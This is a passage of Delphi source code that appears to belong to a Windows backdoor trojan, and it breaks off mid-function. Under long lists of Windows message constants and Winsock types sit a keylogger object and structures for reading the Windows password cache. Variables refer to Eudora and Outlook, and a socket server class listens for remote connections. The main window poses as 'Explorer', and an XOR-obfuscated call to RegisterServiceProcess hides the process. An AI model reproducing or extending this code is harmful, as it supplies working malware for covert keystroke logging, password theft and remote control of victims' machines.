WM_INPUTLANGCHANGEREQUEST = $0050; WM_INPUTLANGCHANGE = $0051; WM_TCARD = $0052; WM_HELP = $0053; WM_USERCHANGED = $0054; WM_NOTIFYFORMAT = $0055; WM_CONTEXTMENU = $007B; WM_STYLECHANGING = $007C; WM_STYLECHANGED = $007D; WM_DISPLAYCHANGE = $007E; WM_GETICON = $007F; WM_SETICON = $0080; WM_NCCREATE = $0081; WM_NCDESTROY = $0082; WM_NCCALCSIZE = $0083; WM_NCHITTEST = $0084; WM_NCPAINT = $0085; WM_NCACTIVATE = $0086; WM_GETDLGCODE = $0087; WM_NCMOUSEMOVE = $00A0; { WM_NCLBUTTONDOWN = $00A1; WM_NCLBUTTONUP = $00A2; WM_NCLBUTTONDBLCLK = $00A3; WM_NCRBUTTONDOWN = $00A4; WM_NCRBUTTONUP = $00A5; WM_NCRBUTTONDBLCLK = $00A6; WM_NCMBUTTONDOWN = $00A7; WM_NCMBUTTONUP = $00A8; WM_NCMBUTTONDBLCLK = $00A9; } WM_KEYFIRST = $0100; WM_KEYDOWN = $0100; WM_KEYUP = $0101; WM_CHAR = $0102; WM_DEADCHAR = $0103; WM_SYSKEYDOWN = $0104; WM_SYSKEYUP = $0105; WM_SYSCHAR = $0106; WM_SYSDEADCHAR = $0107; WM_KEYLAST = $0108; WM_INITDIALOG = $0110; WM_COMMAND = $0111; WM_SYSCOMMAND = $0112; WM_TIMER = $0113; WM_HSCROLL = $0114; WM_VSCROLL = $0115; WM_INITMENU = $0116; WM_INITMENUPOPUP = $0117; WM_MENUSELECT = $011F; WM_MENUCHAR = $0120; WM_ENTERIDLE = $0121; WM_CTLCOLORMSGBOX = $0132; WM_CTLCOLOREDIT = $0133; WM_CTLCOLORLISTBOX = $0134; WM_CTLCOLORBTN = $0135; WM_CTLCOLORDLG = $0136; WM_CTLCOLORSCROLLBAR= $0137; WM_CTLCOLORSTATIC = $0138; WM_MOUSEFIRST = $0200; WM_MOUSEMOVE = $0200; WM_LBUTTONDOWN = $0201; WM_LBUTTONUP = $0202; WM_LBUTTONDBLCLK = $0203; WM_RBUTTONDOWN = $0204; WM_RBUTTONUP = $0205; WM_RBUTTONDBLCLK = $0206; WM_MBUTTONDOWN = $0207; WM_MBUTTONUP = $0208; WM_MBUTTONDBLCLK = $0209; WM_MOUSEWHEEL = $020A; WM_MOUSELAST = $020A; WM_PARENTNOTIFY = $0210; WM_ENTERMENULOOP = $0211; WM_EXITMENULOOP = $0212; WM_NEXTMENU = $0213; WM_SIZING = 532; WM_CAPTURECHANGED = 533; WM_MOVING = 534; WM_POWERBROADCAST = 536; WM_DEVICECHANGE = 537; { WM_IME_STARTCOMPOSITION = $010D; WM_IME_ENDCOMPOSITION = $010E; WM_IME_COMPOSITION = $010F; WM_IME_KEYLAST = $010F; WM_IME_SETCONTEXT = $0281; WM_IME_NOTIFY = $0282; WM_IME_CONTROL = $0283; WM_IME_COMPOSITIONFULL = $0284; WM_IME_SELECT = $0285; WM_IME_CHAR = $0286; WM_IME_KEYDOWN = $0290; WM_IME_KEYUP = $0291; WM_MDICREATE = $0220; WM_MDIDESTROY = $0221; WM_MDIACTIVATE = $0222; WM_MDIRESTORE = $0223; WM_MDINEXT = $0224; WM_MDIMAXIMIZE = $0225; WM_MDITILE = $0226; WM_MDICASCADE = $0227; WM_MDIICONARRANGE = $0228; WM_MDIGETACTIVE = $0229; WM_MDISETMENU = $0230; WM_ENTERSIZEMOVE = $0231; WM_EXITSIZEMOVE = $0232; WM_DROPFILES = $0233; WM_MDIREFRESHMENU = $0234; } WM_MOUSEHOVER = $02A1; WM_MOUSELEAVE = $02A3; WM_CUT = $0300; WM_COPY = $0301; WM_PASTE = $0302; WM_CLEAR = $0303; WM_UNDO = $0304; WM_PAINTCLIPBOARD = $0309; WM_PRINT = 791; WM_PRINTCLIENT = 792; WM_HANDHELDFIRST = 856; WM_HANDHELDLAST = 863; WM_PENWINFIRST = $0380; WM_PENWINLAST = $038F; WM_COALESCE_FIRST = $0390; WM_COALESCE_LAST = $039F; WM_DDE_FIRST = $03E0; WM_DDE_INITIATE = WM_DDE_FIRST + 0; WM_DDE_TERMINATE = WM_DDE_FIRST + 1; WM_DDE_ADVISE = WM_DDE_FIRST + 2; WM_DDE_UNADVISE = WM_DDE_FIRST + 3; WM_DDE_ACK = WM_DDE_FIRST + 4; WM_DDE_DATA = WM_DDE_FIRST + 5; WM_DDE_REQUEST = WM_DDE_FIRST + 6; WM_DDE_POKE = WM_DDE_FIRST + 7; WM_DDE_EXECUTE = WM_DDE_FIRST + 8; WM_DDE_LAST = WM_DDE_FIRST + 8; WM_APP = $8000; WM_USER = $0400; UM_KEYHIT = WM_USER + 7; //keylog const ERROR = '|ERROR:'; ALLDONE = 'All done.'; //VER_PLATFORM_WIN32s = 0; //V/ER_PLATFORM_WIN32_WINDOWS = 1; //VER_PLATFORM_WIN32_NT = 2; Count : integer = 0; lpzClassName = 'Explorer '; lpzWindowsName = 'Explorer '; WM_MY_SOCK_MESSAGE = WM_USER+2; LFCR = #10#13; { File open modes } fmOpenRead = $0000; fmOpenWrite = $0001; fmOpenReadWrite = $0002; fmShareCompat = $0000; fmShareExclusive = $0010; fmShareDenyWrite = $0020; fmShareDenyRead = $0030; fmShareDenyNone = $0040; { File attribute constants } faReadOnly = $00000001; faHidden = $00000002; faSysFile = $00000004; faVolumeID = $00000008; faDirectory = $00000010; faArchive = $00000020; faAnyFile = $0000003F; {prog type} type PWinPassword = ^TWinPassword; TWinPassword = record EntrySize: Word; ResourceSize: Word; PasswordSize: Word; EntryIndex: Byte; EntryType: Byte; PasswordC: Char; end; {winsock type} type u_char = Char; u_short = Word; u_int = Integer; u_long = Longint; TSocket = u_int; type PFDSet = ^TFDSet; TFDSet = packed record fd_count: u_int; fd_array: array[0..FD_SETSIZE-1] of TSocket; end; PTimeVal = ^TTimeVal; TTimeVal = packed record tv_sec: Longint; tv_usec: Longint; end; type PHostEnt = ^THostEnt; THostEnt = packed record h_name: PChar; h_aliases: ^PChar; h_addrtype: Smallint; h_length: Smallint; case Byte of 0: (h_addr_list: ^PChar); 1: (h_addr: ^PChar) end; PNetEnt = ^TNetEnt; TNetEnt = packed record n_name: PChar; n_aliases: ^PChar; n_addrtype: Smallint; n_net: u_long; end; PServEnt = ^TServEnt; TServEnt = packed record s_name: PChar; s_aliases: ^PChar; s_port: Smallint; s_proto: PChar; end; PProtoEnt = ^TProtoEnt; TProtoEnt = packed record p_name: PChar; p_aliases: ^Pchar; p_proto: Smallint; end; type SunB = packed record s_b1, s_b2, s_b3, s_b4: u_char; end; SunW = packed record s_w1, s_w2: u_short; end; PInAddr = ^TInAddr; TInAddr = packed record case integer of 0: (S_un_b: SunB); 1: (S_un_w: SunW); 2: (S_addr: u_long); end; PSockAddrIn = ^TSockAddrIn; TSockAddrIn = packed record case Integer of 0: (sin_family: u_short; sin_port: u_short; sin_addr: TInAddr; sin_zero: array[0..7] of Char); 1: (sa_family: u_short; sa_data: array[0..13] of Char) end; type PWSAData = ^TWSAData; TWSAData = packed record wVersion: Word; wHighVersion: Word; szDescription: array[0..WSADESCRIPTION_LEN] of Char; szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char; iMaxSockets: Word; iMaxUdpDg: Word; lpVendorInfo: PChar; end; PTransmitFileBuffers = ^TTransmitFileBuffers; TTransmitFileBuffers = packed record Head: Pointer; HeadLength: DWORD; Tail: Pointer; TailLength: DWORD; end; type { Structure used by kernel to store most addresses. } PSockAddr = ^TSockAddr; TSockAddr = TSockAddrIn; { Structure used by kernel to pass protocol information in raw sockets. } PSockProto = ^TSockProto; TSockProto = packed record sp_family: u_short; sp_protocol: u_short; end; type { Structure used for manipulating linger option. } PLinger = ^TLinger; TLinger = packed record l_onoff: u_short; l_linger: u_short; end; const INVALID_SOCKET = TSocket(NOT(0)); SOCKET_ERROR = -1; {type window message record} type PMessage = ^TMessage; TMessage = record Msg: Cardinal; case Integer of 0: ( WParam: Longint; LParam: Longint; Result: Longint); 1: ( WParamLo: Word; WParamHi: Word; LParamLo: Word; LParamHi: Word; ResultLo: Word; ResultHi: Word); end; { Common message format records } TWMNoParams = record Msg: Cardinal; Unused: array[0..3] of Word; Result: Longint; end; TWMKey = record Msg: Cardinal; CharCode: Word; Unused: Word; KeyData: Longint; Result: Longint; end; TWMMouse = record Msg: Cardinal; Keys: Longint; case Integer of 0: ( XPos: Smallint; YPos: Smallint); 1: ( Pos: TSmallPoint; Result: Longint); end; TWMWindowPosMsg = record Msg: Cardinal; Unused: Integer; WindowPos: PWindowPos; Result: Longint; end; TWMScroll = record Msg: Cardinal; ScrollCode: Smallint; { SB_xxxx } Pos: Smallint; ScrollBar: HWND; Result: Longint; end; { Message records } TWMActivate = record Msg: Cardinal; Active: Word; { WA_INACTIVE, WA_ACTIVE, WA_CLICKACTIVE } Minimized: WordBool; ActiveWindow: HWND; Result: Longint; end; TWMActivateApp = record Msg: Cardinal; Active: BOOL; ThreadId: Longint; Result: Longint; end; TWMAskCBFormatName = record Msg: Cardinal; NameLen: Word; Unused: Word; FormatName: PChar; Result: Longint; end; TWMCancelMode = TWMNoParams; TWMChangeCBChain = record Msg: Cardinal; Remove: HWND; Next: HWND; Result: Longint; end; TWMChar = TWMKey; TWMCharToItem = record Msg: Cardinal; Key: Word; CaretPos: Word; ListBox: HWND; Result: Longint; end; TWMChildActivate = TWMNoParams; TWMChooseFont_GetLogFont = record Msg: Cardinal; Unused: Longint; LogFont: PLogFont; Result: Longint; end; TWMClear = TWMNoParams; TWMClose = TWMNoParams; TWMCommand = record Msg: Cardinal; ItemID: Word; NotifyCode: Word; Ctl: HWND; Result: Longint; end; TWMCompacting = record Msg: Cardinal; CompactRatio: Longint; Unused: Longint; Result: Longint; end; TWMCompareItem = record Msg: Cardinal; Ctl: HWnd; CompareItemStruct: PCompareItemStruct; Result: Longint; end; TWMCopy = TWMNoParams; TWMCopyData = record Msg: Cardinal; From: HWND; CopyDataStruct: PCopyDataStruct; Result: Longint; end; { ?? WM_CLP_LAUNCH, WM_CPL_LAUNCHED } TWMCreate = record Msg: Cardinal; Unused: Integer; CreateStruct: PCreateStruct; Result: Longint; end; TWMCtlColor = record Msg: Cardinal; ChildDC: HDC; ChildWnd: HWND; Result: Longint; end; TWMCtlColorBtn = TWMCtlColor; TWMCtlColorDlg = TWMCtlColor; TWMCtlColorEdit = TWMCtlColor; TWMCtlColorListbox = TWMCtlColor; TWMCtlColorMsgbox = TWMCtlColor; TWMCtlColorScrollbar = TWMCtlColor; TWMCtlColorStatic = TWMCtlColor; TWMCut = TWMNoParams; TWMDDE_Ack = record Msg: Cardinal; PostingApp: HWND; case Word of WM_DDE_INITIATE: ( App: Word; Topic: Word; Result: Longint); WM_DDE_EXECUTE {and all others}: ( PackedVal: Longint); end; TWMDDE_Advise = record Msg: Cardinal; PostingApp: HWND; PackedVal: Longint; Result: Longint; end; TWMDDE_Data = record Msg: Cardinal; PostingApp: HWND; PackedVal: Longint; Result: Longint; end; TWMDDE_Execute = record Msg: Cardinal; PostingApp: HWND; Commands: THandle; Result: Longint; end; TWMDDE_Initiate = record Msg: Cardinal; PostingApp: HWND; App: Word; Topic: Word; Result: Longint; end; TWMDDE_Poke = record Msg: Cardinal; PostingApp: HWND; PackedVal: Longint; Result: Longint; end; TWMDDE_Request = record Msg: Cardinal; PostingApp: HWND; Format: Word; Item: Word; Result: Longint; end; TWMDDE_Terminate = record Msg: Cardinal; PostingApp: HWND; Unused: Longint; Result: Longint; end; TWMDDE_Unadvise = record Msg: Cardinal; PostingApp: HWND; Format: Word; Item: Word; Result: Longint; end; TWMDeadChar = TWMChar; TWMDeleteItem = record Msg: Cardinal; Ctl: HWND; DeleteItemStruct: PDeleteItemStruct; Result: Longint; end; TWMDestroy = TWMNoParams; TWMDestroyClipboard = TWMNoParams; TWMDevModeChange = record Msg: Cardinal; Unused: Integer; Device: PChar; Result: Longint; end; TWMDrawClipboard = TWMNoParams; { TWMDropFiles = record Msg: Cardinal; Drop: THANDLE; Unused: Longint; Result: Longint; end; } TWMEnable = record Msg: Cardinal; Enabled: LongBool; Unused: Longint; Result: Longint; end; TWMEndSession = record Msg: Cardinal; EndSession: LongBool; Unused: Longint; Result: Longint; end; TWMEnterIdle = record Msg: Cardinal; Source: Longint; { MSGF_DIALOGBOX, MSGF_MENU } IdleWnd: HWND; Result: Longint; end; TWMEnterMenuLoop = record Msg: Cardinal; IsTrackPopupMenu: LongBool; Unused: Longint; Result: Longint; end; TWMExitMenuLoop = TWMEnterMenuLoop; TWMEraseBkgnd = record Msg: Cardinal; DC: HDC; Unused: Longint; Result: Longint; end; TWMFontChange = TWMNoParams; TWMGetDlgCode = TWMNoParams; TWMGetFont = TWMNoParams; TWMGetIcon = record Msg: Cardinal; BigIcon: Longbool; Unused: Longint; Result: Longint; end; TWMGetText = record Msg: Cardinal; TextMax: Integer; Text: PChar; Result: Longint; end; TWMGetTextLength = TWMNoParams; { TWMHotKey = record Msg: Cardinal; HotKey: Longint; Unused: Longint; Result: Longint; end; } TWMHScroll = TWMScroll; TWMHScrollClipboard = record Msg: Cardinal; Viewer: HWND; ScrollCode: Word; {SB_BOTTOM, SB_ENDSCROLL, SB_LINEDOWN, SB_LINEUP, SB_PAGEDOWN, SB_PAGEUP, SB_THUMBPOSITION, SB_THUMBTRACK, SB_TOP } Pos: Word; Result: Longint; end; TWMIconEraseBkgnd = TWMEraseBkgnd; TWMInitDialog = record Msg: Cardinal; Focus: HWND; InitParam: Longint; Result: Longint; end; TWMInitMenu = record Msg: Cardinal; Menu: HMENU; Unused: Longint; Result: Longint; end; TWMInitMenuPopup = record Msg: Cardinal; MenuPopup: HMENU; Pos: Smallint; SystemMenu: WordBool; Result: Longint; end; TWMKeyDown = TWMKey; TWMKeyUp = TWMKey; TWMKillFocus = record Msg: Cardinal; FocusedWnd: HWND; Unused: Longint; Result: Longint; end; TWMLButtonDblClk = TWMMouse; TWMLButtonDown = TWMMouse; TWMLButtonUp = TWMMouse; TWMMButtonDblClk = TWMMouse; TWMMButtonDown = TWMMouse; TWMMButtonUp = TWMMouse; TWMMDIActivate = record Msg: Cardinal; case Integer of 0: ( ChildWnd: HWND); 1: ( DeactiveWnd: HWND; ActiveWnd: HWND; Result: Longint); end; TWMMDICascade = record Msg: Cardinal; Cascade: Longint; { 0, MDITILE_SKIPDISABLED } Unused: Longint; Result: Longint; end; TWMMDICreate = record Msg: Cardinal; Unused: Integer; MDICreateStruct: PMDICreateStruct; Result: Longint; end; TWMMDIDestroy = record Msg: Cardinal; Child: HWND; Unused: Longint; Result: Longint; end; TWMMDIGetActive = TWMNoParams; TWMMDIIconArrange = TWMNoParams; TWMMDIMaximize = record Msg: Cardinal; Maximize: HWND; Unused: Longint; Result: Longint; end; TWMMDINext = record Msg: Cardinal; Child: HWND; Next: Longint; Result: Longint; end; TWMMDIRefreshMenu = TWMNoParams; TWMMDIRestore = record Msg: Cardinal; IDChild: HWND; Unused: Longint; Result: Longint; end; TWMMDISetMenu = record Msg: Cardinal; MenuFrame: HMENU; MenuWindow: HMENU; Result: Longint; end; TWMMDITile = record Msg: Cardinal; Tile: Longint; { MDITILE_HORIZONTAL, MDITILE_SKIPDISABLE, MDITILE_VERTICAL } Unused: Longint; Result: Longint; end; TWMMenuChar = record Msg: Cardinal; User: Char; Unused: Byte; MenuFlag: Word; { MF_POPUP, MF_SYSMENU } Menu: HMENU; Result: Longint; end; TWMMenuSelect = record Msg: Cardinal; IDItem: Word; MenuFlag: Word; { MF_BITMAP, MF_CHECKED, MF_DISABLED, MF_GRAYED, MF_MOUSESELECT, MF_OWNERDRAW, MF_POPUP, MF_SEPARATOR, MF_SYSMENU } Menu: HMENU; Result: Longint; end; TWMMouseActivate = record Msg: Cardinal; TopLevel: HWND; HitTestCode: Word; MouseMsg: Word; Result: Longint; end; TWMMouseMove = TWMMouse; TWMMove = record Msg: Cardinal; Unused: Integer; case Integer of 0: ( XPos: Smallint; YPos: Smallint); 1: ( Pos: TSmallPoint; Result: Longint); end; TWMNCActivate = record Msg: Cardinal; Active: BOOL; Unused: Longint; Result: Longint; end; TWMNCCalcSize = record Msg: Cardinal; CalcValidRects: BOOL; CalcSize_Params: PNCCalcSizeParams; Result: Longint; end; TWMNCCreate = record Msg: Cardinal; Unused: Integer; CreateStruct: PCreateStruct; Result: Longint; end; TWMNCDestroy = TWMNoParams; TWMNCHitTest = record Msg: Cardinal; Unused: Longint; case Integer of 0: ( XPos: Smallint; YPos: Smallint); 1: ( Pos: TSmallPoint; Result: Longint); end; TWMNCHitMessage = record Msg: Cardinal; HitTest: Longint; XCursor: Smallint; YCursor: Smallint; Result: Longint; end; TWMNCLButtonDblClk = TWMNCHitMessage; TWMNCLButtonDown = TWMNCHitMessage; TWMNCLButtonUp = TWMNCHitMessage; TWMNCMButtonDblClk = TWMNCHitMessage; TWMNCMButtonDown = TWMNCHitMessage; TWMNCMButtonUp = TWMNCHitMessage; TWMNCMouseMove = TWMNCHitMessage; TWMNCPaint = TWMNoParams; TWMNCRButtonDblClk = TWMNCHitMessage; TWMNCRButtonDown = TWMNCHitMessage; TWMNCRButtonUp = TWMNCHitMessage; TWMNextDlgCtl = record Msg: Cardinal; CtlFocus: Longint; Handle: WordBool; Unused: Word; Result: Longint; end; TWMNotify = record Msg: Cardinal; IDCtrl: Longint; NMHdr: PNMHdr; Result: Longint; end; TWMNotifyFormat = record Msg: Cardinal; From: HWND; Command: Longint; Result: Longint; end; TWMPaint = record Msg: Cardinal; DC: HDC; Unused: Longint; Result: Longint; end; TWMPaintClipboard = record Msg: Cardinal; Viewer: HWND; PaintStruct: THandle; Result: Longint; end; TWMPaintIcon = TWMNoParams; TWMPaletteChanged = record Msg: Cardinal; PalChg: HWND; Unused: Longint; Result: Longint; end; TWMPaletteIsChanging = record Msg: Cardinal; Realize: HWND; Unused: Longint; Result: Longint; end; TWMParentNotify = record Msg: Cardinal; case Event: Word of WM_CREATE, WM_DESTROY: ( ChildID: Word; ChildWnd: HWnd); WM_LBUTTONDOWN, WM_MBUTTONDOWN, WM_RBUTTONDOWN: ( Value: Word; XPos: Smallint; YPos: Smallint); 0: ( Value1: Word; Value2: Longint; Result: Longint); end; TWMPaste = TWMNoParams; TWMPower = record Msg: Cardinal; PowerEvt: Longint; { PWR_SUSPENDREQUEST, PWR_SUSPENDRESUME, PWR_CRITICALRESUME } Unused: Longint; Result: Longint; end; TWMQueryDragIcon = TWMNoParams; TWMQueryEndSession = record Msg: Cardinal; Source: Longint; Unused: Longint; Result: Longint; end; TWMQueryNewPalette = TWMNoParams; TWMQueryOpen = TWMNoParams; TWMQueueSync = TWMNoParams; TWMQuit = record Msg: Cardinal; ExitCode: Longint; Unused: Longint; Result: Longint; end; TWMRButtonDblClk = TWMMouse; TWMRButtonDown = TWMMouse; TWMRButtonUp = TWMMouse; TWMRenderAllFormats = TWMNoParams; TWMRenderFormat = record Msg: Cardinal; Format: Longint; Unused: Longint; Result: Longint; end; TWMSetCursor = record Msg: Cardinal; CursorWnd: HWND; HitTest: Word; MouseMsg: Word; Result: Longint; end; TWMSetFocus = record Msg: Cardinal; FocusedWnd: HWND; Unused: Longint; Result: Longint; end; TWMSetFont = record Msg: Cardinal; Font: HFONT; Redraw: WordBool; Unused: Word; Result: Longint; end; TWMSetIcon = record Msg: Cardinal; BigIcon: Longbool; Icon: HICON; Result: Longint; end; TWMSetRedraw = record Msg: Cardinal; Redraw: Longint; Unused: Longint; Result: Longint; end; TWMSetText = record Msg: Cardinal; Unused: Longint; Text: PChar; Result: Longint; end; TWMShowWindow = record Msg: Cardinal; Show: BOOL; Status: Longint; Result: Longint; end; TWMSize = record Msg: Cardinal; SizeType: Longint; { SIZE_MAXIMIZED, SIZE_MINIMIZED, SIZE_RESTORED, SIZE_MAXHIDE, SIZE_MAXSHOW } Width: Word; Height: Word; Result: Longint; end; TWMSizeClipboard = record Msg: Cardinal; Viewer: HWND; RC: THandle; Result: Longint; end; TWMSpoolerStatus = record Msg: Cardinal; JobStatus: Longint; JobsLeft: Word; Unused: Word; Result: Longint; end; TWMStyleChange = record Msg: Cardinal; StyleType: Longint; StyleStruct: PStyleStruct; Result: Longint; end; TWMStyleChanged = TWMStyleChange; TWMStyleChanging = TWMStyleChange; TWMSysChar = TWMKey; TWMSysColorChange = TWMNoParams; TWMSysDeadChar = record Msg: Cardinal; CharCode: Word; Unused: Word; KeyData: Longint; Result: Longint; end; TWMSysKeyDown = TWMKey; TWMSysKeyUp = TWMKey; TWMSystemError = record Msg: Cardinal; ErrSpec: Word; Unused: Longint; Result: Longint; end; TWMTimeChange = TWMNoParams; TWMTimer = record Msg: Cardinal; TimerID: Longint; TimerProc: TFarProc; Result: Longint; end; TWMUndo = TWMNoParams; TWMVKeyToItem = TWMCharToItem; TWMVScroll = TWMScroll; TWMVScrollClipboard = record Msg: Cardinal; Viewer: HWND; ScollCode: Word; ThumbPos: Word; Result: Longint; end; TWMWindowPosChanged = TWMWindowPosMsg; TWMWindowPosChanging = TWMWindowPosMsg; TWMWinIniChange = record Msg: Cardinal; Unused: Integer; Section: PChar; Result: Longint; end; TWMHelp = record Msg: Cardinal; Unused: Integer; HelpInfo: PHelpInfo; Result: Longint; end; TWMDisplayChange = record Msg: Cardinal; BitsPerPixel: Integer; Width: Word; Height: Word; end; // sysutils type type WordRec = packed record Lo, Hi: Byte; end; LongRec = packed record Lo, Hi: Word; end; TMethod = record Code, Data: Pointer; end; PByteArray = ^TByteArray; TByteArray = array[0..32767] of Byte; PWordArray = ^TWordArray; TWordArray = array[0..16383] of Word; TProcedure = procedure; TFileName = string; TSearchRec = record Time: Integer; Size: Integer; Attr: Integer; Name: TFileName; ExcludeAttr: Integer; FindHandle: THandle; FindData: TWin32FindData; end; TFileRec = record Handle: Integer; Mode: Integer; RecSize: Cardinal; Private: array[1..28] of Byte; UserData: array[1..32] of Byte; Name: array[0..259] of Char; end; PTextBuf = ^TTextBuf; TTextBuf = array[0..127] of Char; TTextRec = record Handle: Integer; Mode: Integer; BufSize: Cardinal; BufPos: Cardinal; BufEnd: Cardinal; BufPtr: PChar; OpenFunc: Pointer; InOutFunc: Pointer; FlushFunc: Pointer; CloseFunc: Pointer; UserData: array[1..32] of Byte; Name: array[0..259] of Char; Buffer: TTextBuf; end; TFloatValue = (fvExtended, fvCurrency); TFloatFormat = (ffGeneral, ffExponent, ffFixed, ffNumber, ffCurrency); TFloatRec = packed record Exponent: Smallint; Negative: Boolean; Digits: array[0..20] of Char; end; TTimeStamp = record Time: Integer; { Number of milliseconds since midnight } Date: Integer; { One plus number of days since 1/1/0003 } end; TMbcsByteType = (mbSingleByte, mbLeadByte, mbTrailByte); TSysLocale = packed record DefaultLCID: LCID; PriLangID: LANGID; SubLangID: LANGID; FarEast: Boolean; end; // password connection type TPasswordCacheEntry = packed record cbEntry : word; // size of this entry, in bytes cbResource : word; // size of resource name, in bytes cbPassword : word; // size of password, in bytes iEntry : byte; // entry index nType : byte; // type of entry abResource : array [0..$FFFFFFF] of char; end; TPPasswordCacheEntry = ^TPasswordCacheEntry; // registry type type TRegKeyInfo = record NumSubKeys: Integer; MaxSubKeyLen: Integer; NumValues: Integer; MaxValueLen: Integer; MaxDataLen: Integer; FileTime: TFileTime; end; TRegDataType = (rdUnknown, rdString, rdExpandString, rdInteger, rdBinary); TRegDataInfo = record RegData: TRegDataType; DataSize: Integer; end; TRegistry = class(TObject) private FCurrentKey: HKEY; FRootKey: HKEY; FLazyWrite: Boolean; FCurrentPath: string; FCloseRootKey: Boolean; procedure SetRootKey(Value: HKEY); function OpenKey(const Key: string; CanCreate: Boolean): Boolean; protected function GetBaseKey(Relative: Boolean): HKey; procedure ChangeKey(Value: HKey; const Path: string); procedure PutData(const Name: string; Buffer: Pointer; BufSize: Integer; RegData: TRegDataType); function GetData(const Name: string; Buffer: Pointer; BufSize: Integer; var RegData: TRegDataType): Integer; public constructor Create; destructor Destroy; override; procedure WriteString(const Name, Value: string); function ReadString(const Name: string): string; procedure CloseKey; function GetDataSize(const ValueName: string): Integer; function GetDataInfo(const ValueName: string; var Value: TRegDataInfo): Boolean; property CurrentKey : HKEY read FCurrentKey; property RootKey: HKEY read FRootKey write SetRootKey; property CurrentPath: string read FCurrentPath; property LazyWrite: Boolean read FLazyWrite write FLazyWrite; end; //=============================================================================THE_SOCKET; //=============================================================================THE_SOCKET; //Socket_Object_server TSock = class(TObject) procedure WriteString(wParam:word;Buff:PChar); function WriteData(wParam:word;Buff:pointer;Len:longInt):LongInt; procedure OnServerAccept(wParam,lParam:longInt); procedure OnServerClose(wParam,lParam:longInt); procedure OnServerRead(wParam,lParam:longInt); private public end; //Key_logger_object Type TLog = class(TObject) procedure LogCreate; procedure LogDestroy; private procedure KeyIncrement( var Msg: TMessage ); message UM_KEYHIT; public end; //============== all var var //sysutils var SysLocale: TSysLocale; LeadBytes: set of Char = []; Win32Platform: Integer; //MainVariables wClass: TWndClass; // Class struct for main window hInst, // Handle of program instance Handle: Integer; // Handle of main window Msg2: TMSG; // Message struct //Msg: TMSG; //Socket Server: TSocket; WSD: TWSAData; Addr: TSockAddrIn; // Address for connect. Port: Integer; //ReadBuff: TBuffer; yyyy,mm,dd,h,m,ss,CountRB: Word; result,nukemsg,nukemsg2,s,driv: string; d:integer; // si,i:integer; //udp j:byte; z:longint; //ip //Registry Registre: TRegistry; //other klasse: array [0..255] of char; Timeout: integer; t:textfile; // classe: array [0..255] of char; // counter :integer; //thread Sock:TSock; KLog: Tlog; eudora:string; outlook:string; ttt:textfile; h_SOCK_DLL :HModule; ThreadHdle :THandle; ThreadID :Integer; ExitCode :Integer; ThreadHdle2 :THandle; ThreadID2 :Integer; ExitCode2 :Integer; ThreadHdle3:THandle; ThreadID3 :Integer; ExitCode3 :Integer; //===Dir function systemdir:string; var d:integer; begin setlength(result,500); d:=getsystemdirectory(pchar(result),500); setlength(result,d); end; function windowsdir:string; var d:integer; begin setlength(result,500); d:=getwindowsdirectory(pchar(result),500); setlength(result,d); end; Function Crypt(S : String) : String; Var i : Byte; begin For i := 1 to Length(S) Do S[i] := Char(ord(S[i]) xor i); Crypt := S; end; //==executeAPI function ShellExecute(hWnd: HWND; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer):integer; stdcall; external 'shell32.dll' name 'ShellExecuteA'; //function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; function RegisterInService:boolean; type TRegisterServiceProcess = function(ProcessID :Integer; Service :Boolean):Boolean; StdCall; var h_KERNEL_DLL :HModule; RegisterServiceProcess :TRegisterServiceProcess; begin Result := False; h_KERNEL_DLL := LoadLibrary(PChar('kernel32.dll')); if h_KERNEL_DLL <> Null then begin RegisterServiceProcess := GetProcAddress(h_KERNEL_DLL, PChar(crypt('SgdmvrbzZoyzdmj@c}pqfe'))); //RegisterServiceProcess if @RegisterServiceProcess <> Nil then Result := RegisterServiceProcess(GetCurrentProcessID, True); FreeLibrary(h_KERNEL_DLL); end; end; //=== winsock function //function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall; external winsocket name 'accept'; function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall; Type TListen = function(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('accept')); if @LListen <> Nil then Result := LListen(s, addr,addrlen); FreeLibrary(h_SOCK_DLL); end; end; //function bind(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall; external winsocket name 'bind'; function bind(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall; Type TListen = function(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('bind')); if @LListen <> Nil then Result := LListen(s, addr,namelen); FreeLibrary(h_SOCK_DLL); end; end; //function closesocket(s: TSocket): Integer; stdcall; external winsocket name 'closesocket'; function closesocket(s: TSocket): Integer; stdcall; Type TListen = function(s: TSocket): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('closesocket')); if @LListen <> Nil then Result := LListen(s); FreeLibrary(h_SOCK_DLL); end; end; //function connect(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall; external winsocket name 'connect'; function connect(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall; Type TListen = function(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('connect')); if @LListen <> Nil then Result := LListen(s,name,namelen); FreeLibrary(h_SOCK_DLL); end; end; function getpeername(s: TSocket; var name: TSockAddr; var namelen: Integer): Integer; stdcall; external winsocket name 'getpeername'; function getsockname(s: TSocket; var name: TSockAddr; var namelen: Integer): Integer; stdcall; external winsocket name 'getsockname'; function getsockopt(s: TSocket; level, optname: Integer; optval: PChar; var optlen: Integer): Integer; stdcall; external winsocket name 'getsockopt'; //function htonl(hostlong: u_long): u_long; stdcall; external winsocket name 'htonl'; function htonl(hostlong: u_long): u_long; stdcall; Type TListen = function(hostlong: u_long): u_long; stdcall; var 